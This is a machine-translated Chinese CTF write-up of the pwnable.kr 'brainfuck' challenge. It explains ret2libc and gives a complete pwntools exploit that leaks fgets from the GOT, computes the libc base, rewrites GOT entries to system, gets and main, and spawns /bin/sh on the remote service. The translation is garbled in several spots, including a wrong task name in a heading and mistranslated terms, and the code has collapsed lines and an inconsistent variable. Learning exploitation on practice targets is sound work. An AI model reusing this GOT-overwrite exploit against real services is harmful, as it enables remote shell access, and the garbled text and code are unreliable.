使用pwnable.kr 22解决问题-Brainfuck。 Ret2libc攻击

图片

在本文中,我们将从站点pwnable.kr解决第22个任务,并找出涉及将GOT中的地址重写为库中所需功能地址的攻击类别。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我还将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

返回图书馆攻击


当将堆栈上某个函数的返回地址替换为程序中另一个函数的地址,并将调用函数的参数写入堆栈的下一部分时,返回库攻击(Return-to-libc攻击)是与缓冲区溢出相关的计算机攻击类型之一。 此技术使攻击者无需在程序中注入恶意代码即可执行库中任何现有功能。

Linux有一个共享的libc库,该库提供C和POSIX标准功能,例如用于执行任意命令的system()。 Windows操作系统家族中也存在类似的库。 尽管攻击者可以迫使程序跳转到任何地址,但是大多数程序都使用libc(链接到它),但它具有启动任意命令的便捷功能。 因此,标准库的功能是此类漏洞利用的最可能目标,从而将攻击类别称为“漏洞利用”。

解决魂器任务


我们开始第二部分。 我将立即说,这比第一种困难,而且我们没有提供应用程序的源代码。 不要忘记这里的讨论。 让我们开始吧。

单击带有签名的大脑他妈的的图标。 他们为我们提供了用于连接的地址和端口,程序本身,用于该程序的libc库,并解释说这是一个让人讨厌的语言模拟器。

图片

下载他们给我们的所有内容,检查二进制文件。 这是一个32位的elf,因此我们在IDA Pro中反编译该程序。

图片

主要功能没有漏洞。 控制内存的分配和在变量s中输入的字符数。 在此之前,将初始化p指针。 让我们看一下Brainfuck功能。

图片

此函数用于输入的字符串的每个字符。 它包含一系列动作,具体取决于角色。 完整的命令集如下所示:

  • +:将p处的值加1;
  • ,::从标准输入中获取另一个字符,并在p处获取;
  • -:从p的值中减去1;
  • 。:在地址p处显示字符;
  • <:从p中减去;
  • >:加到p。

图片

因此,对我们任务的解决方案将通过操纵指针p来实现。 查找其起始地址。 在主要功能中,可变磁带的地址输入p,即0x804a0a0。

图片

同时,got.plt节位于0x804a000,所使用函数的地址存储在libc库中。 关于GOT和PLT,我已经在这里写过。

图片

由于可以通过操纵指针p来到达GOT,因此可以实施像ret2libc这样的攻击。 为此,我们将需要从libc中重写用于系统地址的函数的地址(甚至为我们提供一个库)。

因此,出现了以下攻击媒介:

  1. 将地址fgets重写为系统功能的地址;
  2. 重写memset地址以获取;
  3. 将putchar地址重写为main。

结果是:完成上述步骤后,调用putchar函数时,将调用main函数,该函数将调用get而不是memset并读取我们输入到堆栈中的字符串。 之后,将调用一个系统,而不是fgets,它将从堆栈中引发一个参数(即我们输入的行)。

让我们实现它。 首先,创建一个包含指针和函数地址的模板:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

现在,我们将编写一个函数,将指针移至所需的步骤数:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

读取4个字节的函数:

 def readVar(): return ".>"*4 + "<"*4 

该函数将接受并写入4个字节:

 def writeVar(): return ",>"*4 + "<"*4 

现在我们将写入负载,这很简单-我们移至fgets地址,进行读取(稍后我会说为什么),然后重写...我们移至内存集地址-我们进行重写,我们移至putchar地址-我们进行重写。 一切都在想法中。

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

那么为什么要读取fgets的地址呢? 由于是get.plt,因此我们将fgets的地址读取到关联的libc库。 因为我们只有一个libc库(未链接),所以从链接库中的函数地址中减去未链接库中相同函数的地址-我们将确定基数,即由m文件链接该库的地址(库代码的开头)。 然后在不相关的库中将任何函数的偏移量添加到基数中,我们将在已连接的库中获得该函数的地址。 也就是说,我们将从甚至没有定义的二进制文件中调用一个函数。

因此,此负载将为我们提供链接库中函数的地址。 让我们在不相关的地方找到她的地址。

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

现在,根据服务器的响应,我们将找到数据库。

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

现在,我们获得了考虑基数的其他函数的地址。

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

并且我们实现了我们的想法。

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

完整代码
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 


图片

我们得到所需的标志,并在pwnable.kr上启动任务的第二部分。

图片

您可以通过Telegram加入我们。 下次我们将处理堆溢出。

Source: https://habr.com/ru/post/zh-CN466109/


All Articles